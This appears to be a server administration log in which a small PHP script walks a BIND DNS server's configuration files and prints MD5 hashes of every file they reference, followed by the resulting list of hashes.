MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 5e377f3629d6fe361d57f6ca437ac6a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 19:51:12: Establishing a connection
2026-04-25 19:51:12: 

PUT: /tmp/pkp826212

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 19:51:13: 

runuser -l bind -s /bin/bash -c '/tmp/pkp826212; rm /tmp/pkp826212'

2026-04-25 19:51:13: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
